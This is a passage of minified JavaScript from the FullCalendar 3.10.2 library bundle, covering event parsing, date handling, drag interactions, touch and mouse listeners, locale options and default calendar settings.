e?String(e):null},t.prototype.fetch=function(e,t,n){},t.prototype.removeEventDefsById=function(e){},t.prototype.removeAllEventDefs=function(){},t.prototype.getPrimitive=function(e){},t.prototype.parseEventDefs=function(e){var t,n,r=[];for(t=0;t<e.length;t++)(n=this.parseEventDef(e[t]))&&r.push(n);return r},t.prototype.parseEventDef=function(e){var t=this.calendar.opt("eventDataTransform"),n=this.eventDataTransform;return t&&(e=t(e,this.calendar)),n&&(e=n(e,this.calendar)),a.default.parse(e,this)},t.prototype.applyManualStandardProps=function(e){return null!=e.id&&(this.id=t.normalizeId(e.id)),o.isArray(e.className)?this.className=e.className:"string"==typeof e.className&&(this.className=e.className.split(/\s+/)),!0},t.uuid=0,t.defineStandardProps=i.default.defineStandardProps,t.copyVerbatimStandardProps=i.default.copyVerbatimStandardProps,t}(s.default);t.default=l,i.default.mixInto(l),l.defineStandardProps({id:!1,className:!1,color:!0,backgroundColor:!0,borderColor:!0,textColor:!0,editable:!0,startEditable:!0,durationEditable:!0,rendering:!0,overlap:!0,constraint:!0,allDayDefault:!0,eventDataTransform:!0})},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(15),s=0,a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.listenTo=function(e,t,n){if("object"==typeof t)for(var r in t)t.hasOwnProperty(r)&&this.listenTo(e,r,t[r]);else"string"==typeof t&&e.on(t+"."+this.getListenerNamespace(),o.proxy(n,this))},t.prototype.stopListeningTo=function(e,t){e.off((t||"")+"."+this.getListenerNamespace())},t.prototype.getListenerNamespace=function(){return null==this.listenerId&&(this.listenerId=s++),"_listener"+this.listenerId},t}(i.default);t.default=a},,function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(37),i=n(53),s=n(16),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.buildInstances=function(){return[this.buildInstance()]},t.prototype.buildInstance=function(){return new i.default(this,this.dateProfile)},t.prototype.isAllDay=function(){return this.dateProfile.isAllDay()},t.prototype.clone=function(){var t=e.prototype.clone.call(this);return t.dateProfile=this.dateProfile,t},t.prototype.rezone=function(){var e=this.source.calendar,t=this.dateProfile;this.dateProfile=new s.default(e.moment(t.start),t.end?e.moment(t.end):null,e)},t.prototype.applyManualStandardProps=function(t){var n=e.prototype.applyManualStandardProps.call(this,t),r=s.default.parse(t,this.source);return!!r&&(this.dateProfile=r,null!=t.date&&(this.miscProps.date=t.date),n)},t}(o.default);t.default=a,a.defineStandardProps({start:!1,date:!1,end:!1,allDay:!1})},,function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(0),o=n(3),i=n(4),s=/^\s*\d{4}-\d\d$/,a=/^\s*\d{4}-(?:(\d\d-\d\d)|(W\d\d$)|(W\d\d-\d)|(\d\d\d))((T| )(\d\d(:\d\d(:\d\d(\.\d+)?)?)?)?)?$/,l=r.fn;t.newMomentProto=l;var u=o.extend({},l);t.oldMomentProto=u;var d=r.momentProperties;d.push("_fullCalendar"),d.push("_ambigTime"),d.push("_ambigZone"),t.oldMomentFormat=function(e,t){return u.format.call(e,t)};var c=function(){return p(arguments)};function p(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=!1);var l,u,d,c,p=e[0],h=1===e.length&&"string"==typeof p;return r.isMoment(p)||i.isNativeDate(p)||void 0===p?c=r.apply(null,e):(l=!1,u=!1,h?s.test(p)?(e=[p+="-01"],l=!0,u=!0):(d=a.exec(p))&&(l=!d[5],u=!0):o.isArray(p)&&(u=!0),c=t||l?r.utc.apply(r,e):r.apply(null,e),l?(c._ambigTime=!0,c._ambigZone=!0):n&&(u?c._ambigZone=!0:h&&c.utcOffset(p))),c._fullCalendar=!0,c}t.default=c,c.utc=function(){var e=p(arguments,!0);return e.hasTime()&&e.utc(),e},c.parseZone=function(){return p(arguments,!0,!0)},l.week=l.weeks=function(e){var t=this._locale._fullCalendar_weekCalc;return null==e&&"function"==typeof t?t(this):"ISO"===t?u.isoWeek.apply(this,arguments):u.week.apply(this,arguments)},l.time=function(e){if(!this._fullCalendar)return u.time.apply(this,arguments);if(null==e)return r.duration({hours:this.hours(),minutes:this.minutes(),seconds:this.seconds(),milliseconds:this.milliseconds()});this._ambigTime=!1,r.isDuration(e)||r.isMoment(e)||(e=r.duration(e));var t=0;return r.isDuration(e)&&(t=24*Math.floor(e.asDays())),this.hours(t+e.hours()).minutes(e.minutes()).seconds(e.seconds()).milliseconds(e.milliseconds())},l.stripTime=function(){return this._ambigTime||(this.utc(!0),this.set({hours:0,minutes:0,seconds:0,ms:0}),this._ambigTime=!0,this._ambigZone=!0),this},l.hasTime=function(){return!this._ambigTime},l.stripZone=function(){var e;return this._ambigZone||(e=this._ambigTime,this.utc(!0),this._ambigTime=e||!1,this._ambigZone=!0),this},l.hasZone=function(){return!this._ambigZone},l.local=function(e){return u.local.call(this,this._ambigZone||e),this._ambigTime=!1,this._ambigZone=!1,this},l.utc=function(e){return u.utc.call(this,e),this._ambigTime=!1,this._ambigZone=!1,this},l.utcOffset=function(e){return null!=e&&(this._ambigTime=!1,this._ambigZone=!1),u.utcOffset.apply(this,arguments)}},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){this.isAllDay=!1,this.unzonedRange=e,this.isAllDay=t}return e.prototype.toLegacy=function(e){return{start:e.msToMoment(this.unzonedRange.startMs,this.isAllDay),end:e.msToMoment(this.unzonedRange.endMs,this.isAllDay)}},e}();t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.on=function(e,t){return o(this).on(e,this._prepareIntercept(t)),this},t.prototype.one=function(e,t){return o(this).one(e,this._prepareIntercept(t)),this},t.prototype._prepareIntercept=function(e){var t=function(t,n){return e.apply(n.context||this,n.args||[])};return e.guid||(e.guid=o.guid++),t.guid=e.guid,t},t.prototype.off=function(e,t){return o(this).off(e,t),this},t.prototype.trigger=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return o(this).triggerHandler(e,{args:t}),this},t.prototype.triggerWith=function(e,t,n){return o(this).triggerHandler(e,{context:t,args:n}),this},t.prototype.hasHandlers=function(e){var t=o._data(this,"events");return t&&t[e]&&t[e].length>0},t}(n(15).default);t.default=i},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e){this.view=e._getView(),this.component=e}return e.prototype.opt=function(e){return this.view.opt(e)},e.prototype.end=function(){},e}();t.default=n},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(){}return e.mixInto=function(e){var t=this;Object.getOwnPropertyNames(this.prototype).forEach((function(n){e.prototype[n]||(e.prototype[n]=t.prototype[n])}))},e.mixOver=function(e){var t=this;Object.getOwnPropertyNames(this.prototype).forEach((function(n){e.prototype[n]=t.prototype[n]}))},e}();t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(5),o=function(){function e(e,t,n){this.start=e,this.end=t||null,this.unzonedRange=this.buildUnzonedRange(n)}return e.parse=function(t,n){var r=t.start||t.date,o=t.end;if(!r)return!1;var i=n.calendar,s=i.moment(r),a=o?i.moment(o):null,l=t.allDay,u=i.opt("forceEventDuration");return!!s.isValid()&&(null==l&&null==(l=n.allDayDefault)&&(l=i.opt("allDayDefault")),!0===l?(s.stripTime(),a&&a.stripTime()):!1===l&&(s.hasTime()||s.time(0),a&&!a.hasTime()&&a.time(0)),!a||a.isValid()&&a.isAfter(s)||(a=null),!a&&u&&(a=i.getDefaultEventEnd(!s.hasTime(),s)),new e(s,a,i))},e.isStandardProp=function(e){return"start"===e||"date"===e||"end"===e||"allDay"===e},e.prototype.isAllDay=function(){return!(this.start.hasTime()||this.end&&this.end.hasTime())},e.prototype.buildUnzonedRange=function(e){var t=this.start.clone().stripZone().valueOf(),n=this.getEnd(e).stripZone().valueOf();return new r.default(t,n)},e.prototype.getEnd=function(e){return this.end?this.end.clone():e.getDefaultEventEnd(this.isAllDay(),this.start)},e}();t.default=o},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(4),i=function(e){function t(t,n){var r=e.call(this,n)||this;return r.component=t,r}return r.__extends(t,e),t.prototype.handleInteractionStart=function(t){var n,r,i,s=this.subjectEl;this.component.hitsNeeded(),this.computeScrollBounds(),t?(i=r={left:o.getEvX(t),top:o.getEvY(t)},s&&(n=o.getOuterRect(s),i=o.constrainPoint(i,n)),this.origHit=this.queryHit(i.left,i.top),s&&this.options.subjectCenter&&(this.origHit&&(n=o.intersectRects(this.origHit,n)||n),i=o.getRectCenter(n)),this.coordAdjust=o.diffPoints(i,r)):(this.origHit=null,this.coordAdjust=null),e.prototype.handleInteractionStart.call(this,t)},t.prototype.handleDragStart=function(t){var n;e.prototype.handleDragStart.call(this,t),(n=this.queryHit(o.getEvX(t),o.getEvY(t)))&&this.handleHitOver(n)},t.prototype.handleDrag=function(t,n,r){var i;e.prototype.handleDrag.call(this,t,n,r),s(i=this.queryHit(o.getEvX(r),o.getEvY(r)),this.hit)||(this.hit&&this.handleHitOut(),i&&this.handleHitOver(i))},t.prototype.handleDragEnd=function(t){this.handleHitDone(),e.prototype.handleDragEnd.call(this,t)},t.prototype.handleHitOver=function(e){var t=s(e,this.origHit);this.hit=e,this.trigger("hitOver",this.hit,t,this.origHit)},t.prototype.handleHitOut=function(){this.hit&&(this.trigger("hitOut",this.hit),this.handleHitDone(),this.hit=null)},t.prototype.handleHitDone=function(){this.hit&&this.trigger("hitDone",this.hit)},t.prototype.handleInteractionEnd=function(t,n){e.prototype.handleInteractionEnd.call(this,t,n),this.origHit=null,this.hit=null,this.component.hitsNotNeeded()},t.prototype.handleScrollEnd=function(){e.prototype.handleScrollEnd.call(this),this.isDragging&&(this.component.releaseHits(),this.component.prepareHits())},t.prototype.queryHit=function(e,t){return this.coordAdjust&&(e+=this.coordAdjust.left,t+=this.coordAdjust.top),this.component.queryHit(e,t)},t}(n(59).default);function s(e,t){return!e&&!t||!(!e||!t)&&e.component===t.component&&a(e,t)&&a(t,e)}function a(e,t){for(var n in e)if(!/^(component|left|right|top|bottom)$/.test(n)&&e[n]!==t[n])return!1;return!0}t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),t.version="3.10.2",t.internalApiVersion=12;var r=n(4);t.applyAll=r.applyAll,t.debounce=r.debounce,t.isInt=r.isInt,t.htmlEscape=r.htmlEscape,t.cssToStr=r.cssToStr,t.proxy=r.proxy,t.capitaliseFirstLetter=r.capitaliseFirstLetter,t.getOuterRect=r.getOuterRect,t.getClientRect=r.getClientRect,t.getContentRect=r.getContentRect,t.getScrollbarWidths=r.getScrollbarWidths,t.preventDefault=r.preventDefault,t.parseFieldSpecs=r.parseFieldSpecs,t.compareByFieldSpecs=r.compareByFieldSpecs,t.compareByFieldSpec=r.compareByFieldSpec,t.flexibleCompare=r.flexibleCompare,t.computeGreatestUnit=r.computeGreatestUnit,t.divideRangeByDuration=r.divideRangeByDuration,t.divideDurationByDuration=r.divideDurationByDuration,t.multiplyDuration=r.multiplyDuration,t.durationHasTime=r.durationHasTime,t.log=r.log,t.warn=r.warn,t.removeExact=r.removeExact,t.intersectRects=r.intersectRects,t.allowSelection=r.allowSelection,t.attrsToStr=r.attrsToStr,t.compareNumbers=r.compareNumbers,t.compensateScroll=r.compensateScroll,t.computeDurationGreatestUnit=r.computeDurationGreatestUnit,t.constrainPoint=r.constrainPoint,t.copyOwnProps=r.copyOwnProps,t.diffByUnit=r.diffByUnit,t.diffDay=r.diffDay,t.diffDayTime=r.diffDayTime,t.diffPoints=r.diffPoints,t.disableCursor=r.disableCursor,t.distributeHeight=r.distributeHeight,t.enableCursor=r.enableCursor,t.firstDefined=r.firstDefined,t.getEvIsTouch=r.getEvIsTouch,t.getEvX=r.getEvX,t.getEvY=r.getEvY,t.getRectCenter=r.getRectCenter,t.getScrollParent=r.getScrollParent,t.hasOwnProp=r.hasOwnProp,t.isArraysEqual=r.isArraysEqual,t.isNativeDate=r.isNativeDate,t.isPrimaryMouseButton=r.isPrimaryMouseButton,t.isTimeString=r.isTimeString,t.matchCellWidths=r.matchCellWidths,t.mergeProps=r.mergeProps,t.preventSelection=r.preventSelection,t.removeMatching=r.removeMatching,t.stripHtmlEntities=r.stripHtmlEntities,t.subtractInnerElHeight=r.subtractInnerElHeight,t.uncompensateScroll=r.uncompensateScroll,t.undistributeHeight=r.undistributeHeight,t.dayIDs=r.dayIDs,t.unitsDesc=r.unitsDesc;var o=n(49);t.formatDate=o.formatDate,t.formatRange=o.formatRange,t.queryMostGranularFormatUnit=o.queryMostGranularFormatUnit;var i=n(32);t.datepickerLocale=i.datepickerLocale,t.locale=i.locale,t.getMomentLocaleData=i.getMomentLocaleData,t.populateInstanceComputableOptions=i.populateInstanceComputableOptions;var s=n(19);t.eventDefsToEventInstances=s.eventDefsToEventInstances,t.eventFootprintToComponentFootprint=s.eventFootprintToComponentFootprint,t.eventInstanceToEventRange=s.eventInstanceToEventRange,t.eventInstanceToUnzonedRange=s.eventInstanceToUnzonedRange,t.eventRangeToEventFootprint=s.eventRangeToEventFootprint;var a=n(11);t.moment=a.default;var l=n(13);t.EmitterMixin=l.default;var u=n(7);t.ListenerMixin=u.default;var d=n(51);t.Model=d.default;var c=n(217);t.Constraints=c.default;var p=n(55);t.DateProfileGenerator=p.default;var h=n(5);t.UnzonedRange=h.default;var f=n(12);t.ComponentFootprint=f.default;var m=n(218);t.BusinessHourGenerator=m.default;var g=n(219);t.EventPeriod=g.default;var y=n(220);t.EventManager=y.default;var v=n(37);t.EventDef=v.default;var _=n(39);t.EventDefMutation=_.default;var b=n(36);t.EventDefParser=b.default;var M=n(53);t.EventInstance=M.default;var D=n(50);t.EventRange=D.default;var w=n(54);t.RecurringEventDef=w.default;var T=n(9);t.SingleEventDef=T.default;var S=n(40);t.EventDefDateMutation=S.default;var x=n(16);t.EventDateProfile=x.default;var E=n(38);t.EventSourceParser=E.default;var L=n(6);t.EventSource=L.default;var C=n(57);t.defineThemeSystem=C.defineThemeSystem,t.getThemeSystemClass=C.getThemeSystemClass;var k=n(20);t.EventInstanceGroup=k.default;var H=n(56);t.ArrayEventSource=H.default;var P=n(223);t.FuncEventSource=P.default;var R=n(224);t.JsonFeedEventSource=R.default;var Y=n(34);t.EventFootprint=Y.default;var I=n(35);t.Class=I.default;var O=n(15);t.Mixin=O.default;var z=n(58);t.CoordCache=z.default;var F=n(225);t.Iterator=F.default;var N=n(59);t.DragListener=N.default;var j=n(17);t.HitDragListener=j.default;var A=n(226);t.MouseFollower=A.default;var B=n(52);t.ParsableModelMixin=B.default;var W=n(227);t.Popover=W.default;var V=n(21);t.Promise=V.default;var G=n(228);t.TaskQueue=G.default;var U=n(229);t.RenderQueue=U.default;var J=n(41);t.Scroller=J.default;var q=n(22);t.Theme=q.default;var Z=n(230);t.Component=Z.default;var Q=n(231);t.DateComponent=Q.default;var X=n(42);t.InteractiveDateComponent=X.default;var K=n(232);t.Calendar=K.default;var $=n(43);t.View=$.default;var ee=n(24);t.defineView=ee.defineView,t.getViewConfig=ee.getViewConfig;var te=n(60);t.DayTableMixin=te.default;var ne=n(61);t.BusinessHourRenderer=ne.default;var re=n(44);t.EventRenderer=re.default;var oe=n(62);t.FillRenderer=oe.default;var ie=n(63);t.HelperRenderer=ie.default;var se=n(233);t.ExternalDropping=se.default;var ae=n(234);t.EventResizing=ae.default;var le=n(64);t.EventPointing=le.default;var ue=n(235);t.EventDragging=ue.default;var de=n(236);t.DateSelecting=de.default;var ce=n(237);t.DateClicking=ce.default;var pe=n(14);t.Interaction=pe.default;var he=n(65);t.StandardInteractionsMixin=he.default;var fe=n(238);t.AgendaView=fe.default;var me=n(239);t.TimeGrid=me.default;var ge=n(240);t.TimeGridEventRenderer=ge.default;var ye=n(242);t.TimeGridFillRenderer=ye.default;var ve=n(241);t.TimeGridHelperRenderer=ve.default;var _e=n(66);t.DayGrid=_e.default;var be=n(243);t.DayGridEventRenderer=be.default;var Me=n(245);t.DayGridFillRenderer=Me.default;var De=n(244);t.DayGridHelperRenderer=De.default;var we=n(67);t.BasicView=we.default;var Te=n(68);t.BasicViewDateProfileGenerator=Te.default;var Se=n(246);t.MonthView=Se.default;var xe=n(247);t.MonthViewDateProfileGenerator=xe.default;var Ee=n(248);t.ListView=Ee.default;var Le=n(250);t.ListEventPointing=Le.default;var Ce=n(249);t.ListEventRenderer=Ce.default},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(50),o=n(34),i=n(12);t.eventDefsToEventInstances=function(e,t){var n,r=[];for(n=0;n<e.length;n++)r.push.apply(r,e[n].buildInstances(t));return r},t.eventInstanceToEventRange=function(e){return new r.default(e.dateProfile.unzonedRange,e.def,e)},t.eventRangeToEventFootprint=function(e){return new o.default(new i.default(e.unzonedRange,e.eventDef.isAllDay()),e.eventDef,e.eventInstance)},t.eventInstanceToUnzonedRange=function(e){return e.dateProfile.unzonedRange},t.eventFootprintToComponentFootprint=function(e){return e.componentFootprint}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(5),o=n(19),i=n(50),s=function(){function e(e){this.eventInstances=e||[]}return e.prototype.getAllEventRanges=function(e){return e?this.sliceNormalRenderRanges(e):this.eventInstances.map(o.eventInstanceToEventRange)},e.prototype.sliceRenderRanges=function(e){return this.isInverse()?this.sliceInverseRenderRanges(e):this.sliceNormalRenderRanges(e)},e.prototype.sliceNormalRenderRanges=function(e){var t,n,r,o=this.eventInstances,s=[];for(t=0;t<o.length;t++)(r=(n=o[t]).dateProfile.unzonedRange.intersect(e))&&s.push(new i.default(r,n.def,n));return s},e.prototype.sliceInverseRenderRanges=function(e){var t=this.eventInstances.map(o.eventInstanceToUnzonedRange),n=this.getEventDef();return(t=r.default.invertRanges(t,e)).map((function(e){return new i.default(e,n)}))},e.prototype.isInverse=function(){return this.getEventDef().hasInverseRendering()},e.prototype.getEventDef=function(){return this.explicitEventDef||this.eventInstances[0].def},e}();t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o={construct:function(e){var t=r.Deferred(),n=t.promise();return"function"==typeof e&&e((function(e){t.resolve(e),i(n,e)}),(function(){t.reject(),s(n)})),n},resolve:function(e){var t=r.Deferred().resolve(e).promise();return i(t,e),t},reject:function(){var e=r.Deferred().reject().promise();return s(e),e}};function i(e,t){e.then=function(n){return"function"==typeof n?o.resolve(n(t)):e}}function s(e){e.then=function(t,n){return"function"==typeof n&&n(),e}}t.default=o},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=function(){function e(e){this.optionsManager=e,this.processIconOverride()}return e.prototype.processIconOverride=function(){this.iconOverrideOption&&this.setIconOverride(this.optionsManager.get(this.iconOverrideOption))},e.prototype.setIconOverride=function(e){var t,n;if(r.isPlainObject(e)){for(n in t=r.extend({},this.iconClasses),e)t[n]=this.applyIconOverridePrefix(e[n]);this.iconClasses=t}else!1===e&&(this.iconClasses={})},e.prototype.applyIconOverridePrefix=function(e){var t=this.iconOverridePrefix;return t&&0!==e.indexOf(t)&&(e=t+e),e},e.prototype.getClass=function(e){return this.classes[e]||""},e.prototype.getIconClass=function(e){var t=this.iconClasses[e];return t?this.baseIconClass+" "+t:""},e.prototype.getCustomButtonIconClass=function(e){var t;return this.iconOverrideCustomButtonOption&&(t=e[this.iconOverrideCustomButtonOption])?this.baseIconClass+" "+this.applyIconOverridePrefix(t):""},e}();t.default=o,o.prototype.classes={},o.prototype.iconClasses={},o.prototype.baseIconClass="",o.prototype.iconOverridePrefix=""},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(18),i=n(13),s=n(7);o.touchMouseIgnoreWait=500;var a=null,l=0,u=function(){function e(){this.isTouching=!1,this.mouseIgnoreDepth=0}return e.get=function(){return a||(a=new e).bind(),a},e.needed=function(){e.get(),l++},e.unneeded=function(){--l||(a.unbind(),a=null)},e.prototype.bind=function(){var e=this;this.listenTo(r(document),{touchstart:this.handleTouchStart,touchcancel:this.handleTouchCancel,touchend:this.handleTouchEnd,mousedown:this.handleMouseDown,mousemove:this.handleMouseMove,mouseup:this.handleMouseUp,click:this.handleClick,selectstart:this.handleSelectStart,contextmenu:this.handleContextMenu}),window.addEventListener("touchmove",this.handleTouchMoveProxy=function(t){e.handleTouchMove(r.Event(t))},{passive:!1}),window.addEventListener("scroll",this.handleScrollProxy=function(t){e.handleScroll(r.Event(t))},!0)},e.prototype.unbind=function(){this.stopListeningTo(r(document)),window.removeEventListener("touchmove",this.handleTouchMoveProxy,{passive:!1}),window.removeEventListener("scroll",this.handleScrollProxy,!0)},e.prototype.handleTouchStart=function(e){this.stopTouch(e,!0),this.isTouching=!0,this.trigger("touchstart",e)},e.prototype.handleTouchMove=function(e){this.isTouching&&this.trigger("touchmove",e)},e.prototype.handleTouchCancel=function(e){this.isTouching&&(this.trigger("touchcancel",e),this.stopTouch(e))},e.prototype.handleTouchEnd=function(e){this.stopTouch(e)},e.prototype.handleMouseDown=function(e){this.shouldIgnoreMouse()||this.trigger("mousedown",e)},e.prototype.handleMouseMove=function(e){this.shouldIgnoreMouse()||this.trigger("mousemove",e)},e.prototype.handleMouseUp=function(e){this.shouldIgnoreMouse()||this.trigger("mouseup",e)},e.prototype.handleClick=function(e){this.shouldIgnoreMouse()||this.trigger("click",e)},e.prototype.handleSelectStart=function(e){this.trigger("selectstart",e)},e.prototype.handleContextMenu=function(e){this.trigger("contextmenu",e)},e.prototype.handleScroll=function(e){this.trigger("scroll",e)},e.prototype.stopTouch=function(e,t){void 0===t&&(t=!1),this.isTouching&&(this.isTouching=!1,this.trigger("touchend",e),t||this.startTouchMouseIgnore())},e.prototype.startTouchMouseIgnore=function(){var e=this,t=o.touchMouseIgnoreWait;t&&(this.mouseIgnoreDepth++,setTimeout((function(){e.mouseIgnoreDepth--}),t))},e.prototype.shouldIgnoreMouse=function(){return this.isTouching||Boolean(this.mouseIgnoreDepth)},e}();t.default=u,s.default.mixInto(u),i.default.mixInto(u)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(18);t.viewHash={},r.views=t.viewHash,t.defineView=function(e,n){t.viewHash[e]=n},t.getViewConfig=function(e){return t.viewHash[e]}},,,,,,,,function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(0),i=n(18),s=n(33),a=n(4);t.localeOptionHash={},i.locales=t.localeOptionHash;var l={buttonText:function(e){return{prev:a.stripHtmlEntities(e.prevText),next:a.stripHtmlEntities(e.nextText),today:a.stripHtmlEntities(e.currentText)}},monthYearFormat:function(e){return e.showMonthAfterYear?"YYYY["+e.yearSuffix+"] MMMM":"MMMM YYYY["+e.yearSuffix+"]"}},u={dayOfMonthFormat:function(e,t){var n=e.longDateFormat("l");return n=n.replace(/^Y+[^\w\s]*|[^\w\s]*Y+$/g,""),t.isRTL?n+=" ddd":n="ddd "+n,n},mediumTimeFormat:function(e){return e.longDateFormat("LT").replace(/\s*a$/i,"a")},smallTimeFormat:function(e){return e.longDateFormat("LT").replace(":mm","(:mm)").replace(/(\Wmm)$/,"($1)").replace(/\s*a$/i,"a")},extraSmallTimeFormat:function(e){return e.longDateFormat("LT").replace(":mm","(:mm)").replace(/(\Wmm)$/,"($1)").replace(/\s*a$/i,"t")},hourFormat:function(e){return e.longDateFormat("LT").replace(":mm","").replace(/(\Wmm)$/,"").replace(/\s*a$/i,"a")},noMeridiemTimeFormat:function(e){return e.longDateFormat("LT").replace(/\s*a$/i,"")}},d={smallDayDateFormat:function(e){return e.isRTL?"D dd":"dd D"},weekFormat:function(e){return e.isRTL?"w[ "+e.weekNumberTitle+"]":"["+e.weekNumberTitle+" ]w"},smallWeekFormat:function(e){return e.isRTL?"w["+e.weekNumberTitle+"]":"["+e.weekNumberTitle+"]w"}};function c(e,n){var o,i;o=t.localeOptionHash[e]||(t.localeOptionHash[e]={}),n&&(o=t.localeOptionHash[e]=s.mergeOptions([o,n])),i=p(e),r.each(u,(function(e,t){null==o[e]&&(o[e]=t(i,o))})),s.globalDefaults.locale=e}function p(e){return o.localeData(e)||o.localeData("en")}t.populateInstanceComputableOptions=function(e){r.each(d,(function(t,n){null==e[t]&&(e[t]=n(e))}))},t.datepickerLocale=function(e,n,o){var i=t.localeOptionHash[e]||(t.localeOptionHash[e]={});i.isRTL=o.isRTL,i.weekNumberTitle=o.weekHeader,r.each(l,(function(e,t){i[e]=t(o)}));var s=r.datepicker;s&&(s.regional[n]=s.regional[e]=o,s.regional.en=s.regional[""],s.setDefaults(o))},t.locale=c,t.getMomentLocaleData=p,c("en",s.englishDefaults)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(4);t.globalDefaults={titleRangeSeparator:" – ",monthYearFormat:"MMMM YYYY",defaultTimedEventDuration:"02:00:00",defaultAllDayEventDuration:{days:1},forceEventDuration:!1,nextDayThreshold:"09:00:00",columnHeader:!0,defaultView:"month",aspectRatio:1.35,header:{left:"title",center:"",right:"today prev,next"},weekends:!0,weekNumbers:!1,weekNumberTitle:"W",weekNumberCalculation:"local",scrollTime:"06:00:00",minTime:"00:00:00",maxTime:"24:00:00",showNonCurrentDates:!0,lazyFetching:!0,startParam:"start",endParam:"end",timezoneParam:"timezone",timezone:!1,locale:null,isRTL:!1,buttonText:{prev:"prev",next:"next",prevYear:"prev year",nextYear:"next year",year:"year",today:"today",month:"month",week:"week",day:"day"},allDayText:"all-day",agendaEventMinHeight:0,theme:!1,dragOpacity:.75,dragRevertDuration:500,dragScroll:!0,unselectAuto:!0,dropAccept:"*",eventOrder:"title",eventLimit:!1,eventLimitText:"more",eventLimitClick:"popover",dayPopoverFormat:"LL",handleWindowResize:!0,windowResizeDelay:100,longPressDelay:1e3},t.englishDefaults={dayPopoverFormat:"dddd, MMMM D"},t.rtlDefaults={header:{left:"next,prev today",center:"",right:"title"},buttonIcons:{prev:"right-single-arrow",next:"left-single-arrow",prevYear:"right-double-arrow",nextYear:"left-double-arrow"},themeButtonIcons:{prev:"circle-triangle-e",next:"circle-triangle-w",nextYear:"seek-prev",prevYear:"seek-next"}};var o=["header","footer","buttonText","buttonIcons","themeButtonIcons"];t.mergeOptions=function(e){return r.mergeProps(e,o)}},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t,n){this.componentFootprint=e,this.eventDef=t,n&&(this.eventInstance=n)}return e.prototype.getEventLegacy=function(){return(this.eventInstance||this.eventDef).toLegacy()},e}();t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(4),i=function(){function e(){}return e.extend=function(e){var t=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t}(this);return o.copyOwnProps(e,t.prototype),t},e.mixin=function(e){o.copyOwnProps(e,this.prototype)},e}();t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(0),o=n(4),i=n(9),s=n(54);t.default={parse:function(e,t){return o.isTimeString(e.start)||r.isDuration(e.start)||o.isTimeString(e.end)||r.isDuration(e.end)?s.default.parse(e,t):i.default.parse(e,t)}}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(52),i=function(){function e(e){this.source=e,this.className=[],this.miscProps={}}return e.parse=function(e,t){var n=new this(t);return!!n.applyProps(e)&&n},e.normalizeId=function(e){return String(e)},e.generateId=function(){return"_fc"+e.uuid++},e.prototype.clone=function(){var t=new this.constructor(this.source);return t.id=this.id,t.rawId=this.rawId,t.uid=this.uid,e.copyVerbatimStandardProps(this,t),t.className=this.className.slice(),t.miscProps=r.extend({},this.miscProps),t},e.prototype.hasInverseRendering=function(){return"inverse-background"===this.getRendering()},e.prototype.hasBgRendering=function(){var e=this.getRendering();return"inverse-background"===e||"background"===e},e.prototype.getRendering=function(){return null!=this.rendering?this.rendering:this.source.rendering},e.prototype.getConstraint=function(){return null!=this.constraint?this.constraint:null!=this.source.constraint?this.source.constraint:this.source.calendar.opt("eventConstraint")},e.prototype.getOverlap=function(){return null!=this.overlap?this.overlap:null!=this.source.overlap?this.source.overlap:this.source.calendar.opt("eventOverlap")},e.prototype.isStartExplicitlyEditable=function(){return null!=this.startEditable?this.startEditable:this.source.startEditable},e.prototype.isDurationExplicitlyEditable=function(){return null!=this.durationEditable?this.durationEditable:this.source.durationEditable},e.prototype.isExplicitlyEditable=function(){return null!=this.editable?this.editable:this.source.editable},e.prototype.toLegacy=function(){var t=r.extend({},this.miscProps);return t._id=this.uid,t.source=this.source,t.className=this.className.slice(),t.allDay=this.isAllDay(),null!=this.rawId&&(t.id=this.rawId),e.copyVerbatimStandardProps(this,t),t},e.prototype.applyManualStandardProps=function(t){return null!=t.id?this.id=e.normalizeId(this.rawId=t.id):this.id=e.generateId(),null!=t._id?this.uid=String(t._id):this.uid=e.generateId(),r.isArray(t.className)&&(this.className=t.className),"string"==typeof 